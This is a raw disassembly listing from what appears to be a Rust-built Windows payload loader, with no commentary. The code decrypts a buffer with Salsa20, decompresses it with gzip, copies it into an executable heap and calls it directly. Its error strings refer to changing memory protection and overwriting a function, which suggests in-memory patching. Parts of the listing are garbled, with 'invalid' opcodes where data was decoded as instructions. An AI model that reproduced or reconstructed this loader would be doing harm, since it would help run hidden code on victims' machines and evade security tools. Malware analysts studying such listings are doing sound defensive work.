movdqu xmmword [r14 + rsi + 0x10], xmm2
mov ecx, dword [rsp + 0x90]
mov eax, dword [rsp + 0x94]
movd xmm1, ecx
shr ecx, 8
movd xmm3, ecx
mov ecx, eax
shr ecx, 0x18
movd xmm5, ecx
mov ecx, eax
movd xmm2, eax
movdqa xmm8, xmm1
shr ecx, 0x10
movd xmm7, ecx
mov ecx, dword [rsp + 0x98]
shr eax, 8
movd xmm9, eax
mov eax, ecx
shr eax, 0x18
movd xmm10, eax
mov eax, ecx
movd xmm4, ecx
movdqa xmm0, xmm1
shr eax, 0x10
movd xmm11, eax
mov eax, dword [rsp + 0x9c]
shr ecx, 8
movd xmm12, ecx
mov ecx, eax
shr ecx, 0x18
psrld xmm8, 0x18
movd xmm13, ecx
mov ecx, eax
movd xmm14, eax
psrld xmm0, 0x10
shr eax, 8
shr ecx, 0x10
punpckldq xmm0, xmm8
punpckldq xmm1, xmm3
punpckldq xmm7, xmm5
punpckldq xmm2, xmm9
punpcklqdq xmm1, xmm0
punpckldq xmm11, xmm10
punpckldq xmm4, xmm12
movd xmm0, ecx
punpcklqdq xmm2, xmm7
punpckldq xmm0, xmm13
movd xmm3, eax
punpckldq xmm14, xmm3
punpcklqdq xmm4, xmm11
punpcklqdq xmm14, xmm0
pand xmm14, xmm6
pand xmm4, xmm6
packuswb xmm4, xmm14
pand xmm2, xmm6
pand xmm1, xmm6
packuswb xmm1, xmm2
packuswb xmm1, xmm4
pxor xmm1, xmmword [rsp + 0x1a0]
movdqu xmmword [r14 + rsi + 0x20], xmm1
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rsp + 0xa4]
movd xmm6, ecx
shr ecx, 8
movd xmm2, ecx
mov ecx, eax
shr ecx, 0x18
movd xmm4, ecx
mov ecx, eax
movd xmm1, eax
shr eax, 8
shr ecx, 0x10
movd xmm5, ecx
mov ecx, dword [rsp + 0xa8]
movd xmm7, eax
mov eax, ecx
shr eax, 0x18
movd xmm8, eax
mov eax, ecx
movd xmm3, ecx
shr eax, 0x10
movd xmm9, eax
mov eax, dword [rsp + 0xac]
shr ecx, 8
movd xmm10, ecx
mov ecx, eax
shr ecx, 0x18
movd xmm11, ecx
mov ecx, eax
shr ecx, 0x10
movd xmm12, ecx
movd xmm13, eax
shr eax, 8
movd xmm14, eax
movdqa xmm15, xmm6
psrld xmm15, 0x18
movdqa xmm0, xmm6
psrld xmm0, 0x10
punpckldq xmm0, xmm15
punpckldq xmm6, xmm2
punpckldq xmm5, xmm4
punpckldq xmm1, xmm7
punpcklqdq xmm6, xmm0
punpcklqdq xmm1, xmm5
punpckldq xmm9, xmm8
punpckldq xmm3, xmm10
punpcklqdq xmm3, xmm9
punpckldq xmm12, xmm11
punpckldq xmm13, xmm14
punpcklqdq xmm13, xmm12
movdqa xmm0, xmmword [0x14018e7a0]
pand xmm13, xmm0
pand xmm3, xmm0
pand xmm1, xmm0
pand xmm6, xmm0
packuswb xmm3, xmm13
packuswb xmm6, xmm1
packuswb xmm6, xmm3
movdqu xmm0, xmmword [r14 + rsi + 0x30]
pxor xmm0, xmm6
movdqu xmmword [r14 + rsi + 0x30], xmm0
inc rdi
add rsi, 0x40
cmp rbx, rsi
jne 0x140007870
jmp 0x140007cf4
xor edi, edi
mov byte [rsp + 0x2e0], bpl
mov qword [rsp + 0x2d8], rdi
test rbp, rbp
mov rsi, qword [rsp + 0x28]
je 0x140007e17
add rbx, r14
mov qword [rsp + 0x278], rdi
movups xmm0, xmmword [rsp + 0x258]
movups xmm1, xmmword [rsp + 0x268]
movups xmm2, xmmword [rsp + 0x288]
movaps xmmword [rsp + 0xa0], xmm2
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x98], rax
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x258]
lea rdx, [rsp + 0x70]
call sym.salsa20::block::Block_R_::rounds::hd71eeceaf8888641
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqa xmm2, xmmword [rsp + 0x90]
movdqa xmm3, xmmword [rsp + 0xa0]
movdqu xmmword [rsp + 0x298], xmm0
movdqu xmmword [rsp + 0x2a8], xmm1
movdqu xmmword [rsp + 0x2b8], xmm2
movdqu xmmword [rsp + 0x2c8], xmm3
cmp ebp, 8
jae 0x140007dca
xor eax, eax
jmp 0x140007e00
mov ecx, esi
and ecx, 7
mov rax, rbp
sub rax, rcx
xor edx, edx
nop word [rax + rax]
mov r8, qword [rsp + rdx + 0x298]
xor qword [rbx + rdx], r8
add rdx, 8
cmp rax, rdx
jne 0x140007de0
test rcx, rcx
je 0x140007e17
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x298]
xor byte [rbx + rax], cl
lea rcx, [rax + 1]
mov rax, rcx
cmp rbp, rcx
jne 0x140007e00
mov ecx, 0x8000
mov edx, 1
call sym.__rust_alloc_zeroed
test rax, rax
je 0x140008ad1
mov qword [rsp + 0x300], r14
mov qword [rsp + 0x308], rsi
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x318], 0x8000
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x320], xmm0
mov byte [rsp + 0x220], 0
mov qword [rsp + 0x210], 0
mov dword [rsp + 0x218], 0
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1f0], r13
mov dword [rsp + 0x208], 0
mov byte [rsp + 0x20c], 0
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x300]
call sym.flate2::gz::GzHeaderParser::parse::hea1befbea618693a
mov rsi, rax
mov qword [rsp + 0x140], rax
test rax, rax
je 0x140007f6d
mov rcx, rsi
call sym.std::io::error::Error::kind::h875f6eca3f2ebf76
cmp al, 0xd
jne 0x140008056
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xb0], xmm0
movdqu xmm0, xmmword [rsp + 0x1c0]
movdqu xmm1, xmmword [rsp + 0x1d0]
movdqu xmm2, xmmword [rsp + 0x1e0]
movdqu xmm3, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0xa0], xmm3
movdqa xmmword [rsp + 0x90], xmm2
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov dil, 1
lea rcx, [rsp + 0x140]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hff8e87aec7257f7e
jmp 0x140008066
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xb0], xmm0
movdqu xmm0, xmmword [rsp + 0x1c0]
movdqu xmm1, xmmword [rsp + 0x1d0]
movdqu xmm2, xmmword [rsp + 0x1e0]
movdqu xmm3, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0xa0], xmm3
movdqa xmmword [rsp + 0x90], xmm2
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0x70]
call sym.__flate2::gz::GzHeader_as_core::convert::From_flate2::gz::GzHeaderParser__::from::hc8a1a85a3dd2aa1c
movups xmm0, xmmword [rsp + 0x330]
movdqu xmm1, xmmword [rsp + 0x340]
movdqu xmm2, xmmword [rsp + 0x350]
movdqu xmm3, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x78], xmm0
movdqu xmmword [rsp + 0x88], xmm1
movdqu xmmword [rsp + 0x98], xmm2
movdqu xmmword [rsp + 0xa8], xmm3
movdqu xmm0, xmmword [rsp + 0x370]
movdqu xmmword [rsp + 0xb8], xmm0
inc r13
mov qword [rsp + 0x70], r13
mov dil, 1
jmp 0x140008066
mov qword [rsp + 0x78], rsi
add r13, 3
mov qword [rsp + 0x70], r13
xor edi, edi
mov rbx, qword [rsp + 0x310]
mov rsi, qword [rsp + 0x318]
lea rcx, [rsp + 0x140]
xor edx, edx
call sym.flate2::mem::Decompress::new::hdac7f57cf8c1d148
lea rax, [rsp + 0x320]
movups xmm0, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], rsi
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x350], xmm0
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x370], rax
movdqu xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x360], xmm0
lea rcx, [rsp + 0xbd8]
call sym.flate2::crc::Crc::new::h8b584b5c08f1fea5
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x330]
movaps xmm1, xmmword [rsp + 0x340]
movaps xmm2, xmmword [rsp + 0x350]
movaps xmm3, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x188], xmm3
movups xmmword [rsp + 0x178], xmm2
movups xmmword [rsp + 0x168], xmm1
movups xmmword [rsp + 0x158], xmm0
movups xmm0, xmmword [rsp + 0xbd8]
movaps xmmword [rsp + 0x140], xmm0
mov rax, qword [rsp + 0xbe8]
mov qword [rsp + 0x150], rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x330], xmm0
movaps xmmword [rsp + 0x340], xmm1
movaps xmmword [rsp + 0x350], xmm2
movaps xmmword [rsp + 0x360], xmm3
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x380], xmm0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x390], rax
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x3e8], xmm0
movaps xmm0, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x3d8], xmm0
movdqa xmm0, xmmword [rsp + 0x140]
movdqa xmm1, xmmword [rsp + 0x150]
movdqa xmm2, xmmword [rsp + 0x160]
movdqa xmm3, xmmword [rsp + 0x170]
movdqu xmmword [rsp + 0x3c8], xmm3
movdqu xmmword [rsp + 0x3b8], xmm2
movdqu xmmword [rsp + 0x3a8], xmm1
movdqu xmmword [rsp + 0x398], xmm0
test dil, dil
jne 0x14000823e
lea rcx, [rsp + 0x1c0]
call sym.core::ptr::drop_in_place_flate2::gz::GzHeaderParser_::h559ff8819ce9d916
lea rsi, [rsp + 0x70]
lea rdx, [rsp + 0x330]
mov r8d, 0xc8
mov rcx, rsi
call sym.memcpy
mov byte [rsp + 0x138], 0
mov eax, dword [rsp + 0x1c0]
mov ecx, dword [rsp + 0x1c3]
mov dword [rsp + 0x139], eax
mov dword [rsp + 0x13c], ecx
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x150], 0
lea rdx, [rsp + 0x140]
mov rcx, rsi
call sym.std::io::default_read_to_end::small_probe_read::h14f7510c8ec5f935
test rax, rax
jne case.0x14000843e.2
test rdx, rdx
je 0x140008620
mov rdi, qword [rsp + 0x140]
mov r12, qword [rsp + 0x150]
mov eax, 0x2000
mov qword [rsp + 0x1a0], rax
xor eax, eax
mov qword [rsp + 0x28], rax
lea rbx, [0x14018e7b0]
xor ebp, ebp
mov rax, r12
or rax, rdi
mov rax, rdi
jne 0x140008350
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x140]
call sym.std::io::default_read_to_end::small_probe_read::h14f7510c8ec5f935
test rax, rax
jne case.0x14000843e.2
test rdx, rdx
je 0x140008620
mov rax, qword [rsp + 0x140]
mov r12, qword [rsp + 0x150]
cmp r12, rax
je 0x140008355
mov rdi, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x148]
jmp 0x1400083e5
cmp r12, rax
jne 0x140008334
cmp rax, 0xffffffffffffffdf
ja 0x140008af9
lea rdi, [rax + 0x20]
lea rcx, [rax + rax]
cmp rcx, rdi
cmova rdi, rcx
test rax, rax
je 0x140008392
mov rcx, qword [rsp + 0x148]
mov qword [rsp + 0x330], rcx
mov qword [rsp + 0x340], rax
mov eax, 1
jmp 0x140008394
xor eax, eax
mov rdx, rdi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x338], rax
lea rcx, [rsp + 0x1c0]
mov r8, rdi
lea r9, [rsp + 0x330]
call sym.alloc::raw_vec::finish_grow::h56f9a87ca6c1a9e1
cmp qword [rsp + 0x1c0], 0
jne 0x140008ae2
mov rsi, qword [rsp + 0x1c8]
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x140], rdi
add rsi, r12
mov r15, rdi
sub r15, r12
mov r13, qword [rsp + 0x1a0]
cmp r15, r13
cmovb r13, r15
mov r8, r13
sub r8, rbp
add rbp, rsi
mov rcx, rbp
xor edx, edx
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov r8, r13
call sym.__flate2::gz::read::GzDecoder_R__as_std::io::Read_::read::h77bf3328657e1dff
test rax, rax
je 0x1400085c0
test rdx, rdx
je 0x140008620
mov eax, edx
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
movzx eax, byte [rdx + 0x10]
jmp 0x140008454
movzx eax, byte [rdx + 0xf]
cmp al, 0x23
jne case.0x14000843e.2
mov qword [rsp + 0x330], rdx
lea rcx, [rsp + 0x330]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hff8e87aec7257f7e
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov r8, r13
call sym.__flate2::gz::read::GzDecoder_R__as_std::io::Read_::read::h77bf3328657e1dff
jmp 0x140008420
mov rax, rdx
shr rax, 0x20
cmp eax, 0x28
ja case.default.0x1400084ae
lea rcx, [0x14018e7c0]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
invalid
invalid
add eax, ecx
jmp rax
xor eax, eax
jmp 0x140008454
mov al, 0x25
jmp 0x140008454
mov al, 0x23
jmp 0x140008454
mov al, 0x24
jmp 0x140008454
mov al, 0x1b
jmp 0x140008454
mov al, 0x22
jmp 0x140008454
mov al, 0x10
jmp 0x140008454
invalid
mov byte [rax - 0x4f7b14f2], dh
and ebx, ebp
jmp 0x140008454
mov al, 0xb
jmp 0x140008454
invalid
push qword [rax - 0x8d16fc]
mov al, 4
invalid
jb 0x1400084df
mov al, 0xe
jmp 0x140008454
mov al, 0x21
jmp 0x140008454
mov al, 0xb
jmp 0x140008454
invalid
invalid
invalid
mov al, 4
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x28
jmp 0x140008454
invalid
invalid
invalid
mov al, 0xc
jmp 0x140008454
invalid
invalid
invalid
mov al, 9
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x19
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x18
jmp 0x140008454
invalid
invalid
invalid
mov al, 2
jmp 0x140008454
invalid
invalid
invalid
mov al, 0xf
jmp 0x140008454
invalid
invalid
invalid
mov al, 3
jmp 0x140008454
invalid
invalid
invalid
mov al, 7
jmp 0x140008454
invalid
invalid
invalid
mov al, 1
jmp 0x140008454
mov al, 0x1f
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x11
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x29
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x14
jmp 0x140008454
invalid
invalid
invalid
mov al, 5
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x15
jmp 0x140008454
invalid
invalid
invalid
mov al, 0xd
jmp 0x140008454
invalid
invalid
invalid
mov al, 6
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x12
jmp 0x140008454
invalid
invalid
invalid
mov al, 0xa
jmp 0x140008454
invalid
invalid
invalid
mov al, 8
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x1e
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x20
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x16
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x27
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x13
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x17
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x1c
jmp 0x140008454
invalid
invalid
invalid
mov al, 0x1d
jmp 0x140008454
mov al, 0x26
jmp 0x140008454
mov al, 0x1a
jmp 0x140008454
cmp r13, rdx
jb 0x140008874
test rdx, rdx
je 0x140008620
add r12, rdx
mov rcx, qword [rsp + 0x1a0]
lea rax, [rcx + rcx]
test rcx, rcx
mov r8, 0xffffffffffffffff
cmovs rax, r8
sub r13, rdx
mov qword [rsp + 0x150], r12
cmovne rax, rcx
cmp r15, rcx
cmovae rcx, rax
mov qword [rsp + 0x1a0], rcx
mov rbp, r13
mov rax, r12
or rax, rdi
mov rax, rdi
jne 0x140008350
jmp 0x1400082fb
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_HeapCreate
mov rsi, qword [rsp + 0x150]
mov rcx, rax
mov edx, 8
mov r8, rsi
call sub.kernel32.dll_HeapAlloc
mov rbx, rax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x140008668
mov rdx, qword [rsp + 0x148]
mov rcx, rbx
mov r8, rsi
call sub.msvcrt.dll_memmove
call rbx
mov rdx, qword [rsp + 0x140]
test rdx, rdx
mov rsi, qword [rsp + 0x58]
je 0x14000868d
mov rcx, qword [rsp + 0x148]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x70]
call sym.core::ptr::drop_in_place_flate2::gz::bufread::GzState_::h090046c1ae8b95be
mov rdx, qword [rsp + 0x108]
test rdx, rdx
je 0x1400086b7
mov rcx, qword [rsp + 0x100]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x120]
mov edx, 0xab08
mov r8d, 8
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x1400086e7
mov r8d, 1
mov rcx, r14
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x240]
test rdx, rdx
je 0x140008707
mov rcx, qword [rsp + 0x248]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x228]
test rdx, rdx
mov rdi, qword [rsp + 0x50]
je 0x14000872c
mov rcx, qword [rsp + 0x230]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x140008746
mov r8d, 1
mov rcx, qword [rsp + 0x60]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x140008760
mov r8d, 1
mov rcx, qword [rsp + 0x68]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x14000877d
mov r8d, 1
mov rcx, qword [rsp + 0x1b8]
call sym.__rust_dealloc
mov byte [rdi], 0
test rsi, rsi
je 0x140008796
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0xbf0]
movaps xmm7, xmmword [rsp + 0xc00]
movaps xmm8, xmmword [rsp + 0xc10]
movaps xmm9, xmmword [rsp + 0xc20]
movaps xmm10, xmmword [rsp + 0xc30]
movaps xmm11, xmmword [rsp + 0xc40]
movaps xmm12, xmmword [rsp + 0xc50]
movaps xmm13, xmmword [rsp + 0xc60]
movaps xmm14, xmmword [rsp + 0xc70]
movaps xmm15, xmmword [rsp + 0xc80]
add rsp, 0xc98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.Slice_must_be_the_same_length_as_the_arrayC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fgeneric_array_0.14.7_srclib.rs
lea r8, [0x14018e900]
mov edx, 0x2a
call sym.core::option::expect_failed::h97e8e474f4147626
jmp 0x140008b3a
movdqu xmm0, xmmword [rsp + 0x8b8]
movdqu xmm1, xmmword [rsp + 0x8c8]
movdqa xmmword [rsp + 0x410], xmm1
movdqa xmmword [rsp + 0x400], xmm0
lea rax, [0x14018f390]
mov qword [rsp + 0x20], rax
lea rcx, [0x14018f36d]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h4022c87c1f071bfd
lea r8, [rsp + 0x400]
mov edx, 0x13
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140008b3a
lea rcx, str.assertion_failed:_filled___self.buf.init_rustc_2059132d3c715514da0e4f9cd395a708e666e306librarycore_srcio_borrowed_buf.rs
lea r8, [0x14018ef08]
mov edx, 0x29
call sym.core::panicking::panic::h48db853c33e9c2ed
jmp 0x140008b3a
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x400], rax
mov dword [rsp + 0x408], edx
lea rax, [0x14018f3b8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14018efc0]
lea r9, sym.core::ptr::drop_in_place_windows_result::error::Error_::ha45d57ba3d1eaf25
lea r8, [rsp + 0x400]
mov edx, 0x2b
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140008b3a
lea rcx, [0x14018f3e0]
jmp 0x140008973
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x400], rax
mov dword [rsp + 0x408], edx
lea rax, [0x14018f410]
mov qword [rsp + 0x20], rax
lea rcx, str.TODO:_panic_message
lea r9, sym.core::ptr::drop_in_place_windows_result::error::Error_::ha45d57ba3d1eaf25
lea r8, [rsp + 0x400]
mov edx, 0x13
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140008b3a
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x400], rax
mov dword [rsp + 0x408], edx
lea rax, [0x14018f428]
mov qword [rsp + 0x20], rax
lea rcx, [0x14018efc0]
lea r9, sym.core::ptr::drop_in_place_windows_result::error::Error_::ha45d57ba3d1eaf25
lea r8, [rsp + 0x400]
mov edx, 0x2b
call sym.core::result::unwrap_failed::haadc05bb4cb07031
jmp 0x140008b3a
lea rcx, [0x14018f450]
call sym.core::option::unwrap_failed::h98f4f271f832d365
jmp 0x140008b3a
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x408], rax
mov dword [rsp + 0x410], edx
mov qword [rsp + 0x400], 1
test rax, rax
je 0x1400089af
lea rcx, [rsp + 0x408]
call sym.__windows_result::com::ComPtr_as_core::ops::drop::Drop_::drop::h1fac03171f036296
lea rax, str.____Failed_to_change_protection.X
mov qword [rsp + 0x400], rax
lea rdx, [0x1401bc688]
jmp 0x140008aa9
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x408], rax
mov dword [rsp + 0x410], edx
mov qword [rsp + 0x400], 1
test rax, rax
je 0x1400089fc
lea rcx, [rsp + 0x408]
call sym.__windows_result::com::ComPtr_as_core::ops::drop::Drop_::drop::h1fac03171f036296
lea rax, str.____Failed_to_overwrite_function.
mov qword [rsp + 0x400], rax
lea rdx, [0x1401bc640]
jmp 0x140008aa9
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x408], rax
mov dword [rsp + 0x410], edx
mov qword [rsp + 0x400], 1
test rax, rax
je 0x140008a49
lea rcx, [rsp + 0x408]
call sym.__windows_result::com::ComPtr_as_core::ops::drop::Drop_::drop::h1fac03171f036296
lea rax, str.____Failed_to_restore_permissions.
mov qword [rsp + 0x400], rax
lea rdx, [0x1401bc5f0]
jmp 0x140008aa9
call sym.windows_result::error::Error::from_win32::hbc975e6eca0d0162
mov qword [rsp + 0x408], rax
mov dword [rsp + 0x410], edx
mov qword [rsp + 0x400], 1
test rax, rax
je 0x140008a93
lea rcx, [rsp + 0x408]
call sym.__windows_result::com::ComPtr_as_core::ops::drop::Drop_::drop::h1fac03171f036296
lea rax, str.____Failed_to_flush_cache_instruction.
mov qword [rsp + 0x400], rax
lea rdx, [0x1401bc5a0]
lea rcx, [rsp + 0x400]
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
call sym.core::panicking::panic_fmt::ha3b6c343273f2b7f
jmp 0x140008b3a
mov ecx, 1
mov edx, 0x8000
call sym.alloc::raw_vec::handle_error::h749af85637b64baa
jmp 0x140008b3a
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x1d0]
jmp 0x140008af9
mov rcx, qword [rsp + 0x28]
call sym._ZN104__LT_std..io..error..Error_u20_as_u20_core..convert..From_LT_alloc..collections..TryReserveError_GT__GT_4from17h5e8bef8e
mov rdx, rax
mov qword [rsp + 0x330], rdx
lea rax, [0x1401bc550]
mov qword [rsp + 0x20], rax
lea rcx, [0x14018efc0]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hff8e87aec7257f7e
lea r8, [rsp + 0x330]
mov edx, 0x2b
call sym.core::result::unwrap_failed::haadc05bb4cb07031
ud2